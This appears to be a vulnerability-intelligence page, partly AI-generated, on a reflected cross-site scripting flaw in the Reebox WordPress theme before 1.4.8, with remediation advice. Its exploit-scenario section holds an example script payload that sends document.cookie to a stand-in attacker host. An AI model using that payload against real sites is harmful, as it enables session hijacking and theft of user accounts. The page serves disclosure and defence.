Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessAttacker crafts malicious URL with XSS payload
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ExploitUser clicks link or visits page
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ExecutionJavaScript executes in victim browser
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ImpactSteals session cookies or performs actions as user
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires victim to click a malicious link containing crafted XSS payload targeting skygroup Reebox versions below 1.4.8. Remote unauthenticated attacker can craft the URL; victim interaction (clicking link) is required. No special configuration needed. |
| Impact | Although CVSS and EPSS scores are unavailable, reflected XSS vulnerabilities in WordPress themes typically present moderate to high real-world risk. The attack vector is network-based and requires user interaction (clicking a malicious link), which slightly elevates attack complexity but remains practical for phishing campaigns. The vulnerability affects a WordPress theme—a widely deployed component with extensive user base exposure. The absence of CVSS/EPSS data and unknown KEV/POC status prevent precise quantification, but the Patchstack disclosure and EUVD registration indicate active security research awareness. Real-world priority should be considered moderate-to-high: reflected XSS in themes can lead to session hijacking, credential theft, and malware distribution, though impact depends on theme privileges and user roles. The fact that a patch was released (version 1.4.8) confirms vendor acknowledgment and remediation. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL targeting a Reebox-powered WordPress site, embedding JavaScript in a query parameter that is reflected in the page output without sanitization—for example, 'https://vulnerable-site.com/?search=<script>fetch(https://attacker.com/steal?cookie='+document.cookie+')</script>'. The attacker sends this link via phishing email to site users or admins. When a victim clicks the link, the Reebox theme renders the page with the unsanitized JavaScript, which executes in the victim's browser, stealing their session cookies or redirecting them to a credential-harvesting page. No special privileges are required by the attacker; the attack relies purely on user interaction and the theme's failure to encode output. |
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Alert meAnalysisAIv1 – Mar 25, 2026
A reflected Cross-Site Scripting (XSS) vulnerability exists in the skygroup Reebox WordPress theme due to improper neutralization of user input during web page generation. This vulnerability affects Reebox versions prior to 1.4.8, allowing attackers to inject malicious scripts that execute in the context of a victim's browser when they click a crafted link. While CVSS and EPSS scores are not publicly available, the CWE-79 classification and Patchstack reporting indicate this is a confirmed, real vulnerability with active disclosure through the EUVD database (EUVD-2026-15671).
RemediationAI
Immediately upgrade the Reebox theme to version 1.4.8 or later, which includes the security patch. Site administrators should navigate to their WordPress dashboard, access the Themes section, and update Reebox to the patched version. For environments where immediate patching is not feasible, implement input validation and output encoding at the application level by adding custom WordPress filters to sanitize reflected parameters, and consider deploying a Web Application Firewall (WAF) with XSS detection rules. Additionally, enforce Content Security Policy (CSP) headers to restrict inline script execution and mitigate reflected XSS impact. Refer to the Patchstack advisory at https://patchstack.com/database/Wordpress/Theme/reebox/vulnerability/wordpress-reebox-theme-1-4-8-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve for version-specific patch details and timing.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
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Affects 1 package in euvd
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Technical ContextAI · show details
The vulnerability is rooted in CWE-79: Improper Neutralization of Input During Web Page Generation, commonly known as reflected XSS. The Reebox theme (CPE: cpe:2.3:a:skygroup:reebox:*:*:*:*:*:*:*:*) is a WordPress theme component that generates dynamic web pages. The root cause is the failure to sanitize or escape user-supplied input before rendering it in HTML responses. An attacker can craft a malicious URL containing JavaScript code that, when processed by Reebox during page generation, is reflected back to the user's browser without proper encoding or filtering, causing the malicious script to execute with the privileges of the vulnerable web application.
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Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Reebox reebox allows Reflected XSS.This issue affects Reebox: from n/a through < 1.4.8.
Executive ViewAI
The Reebox WordPress theme (versions prior to 1.4.8) contains a reflected cross-site scripting (XSS) vulnerability that could allow attackers to steal user sessions, credentials, or sensitive data by tricking site visitors into clicking malicious links. Organizations running affected Reebox versions should prioritize patching to prevent account compromise and data theft targeting WordPress administrators and site visitors.
Apply vendor patch. If immediate patching is not possible: implement Web Application Firewall (WAF) rules to block requests containing common XSS payloads in query parameters; restrict theme to trusted administrators only; disable public-facing forms that may reflect user input; consider disabling the theme temporarily and switching to a patched alternative.
Threat Intelligence Overview
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SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-15671
GHSA-8f6c-5r4r-c5w9
NVD
CVE.org
EPSS
Vulnrichment
VulDB
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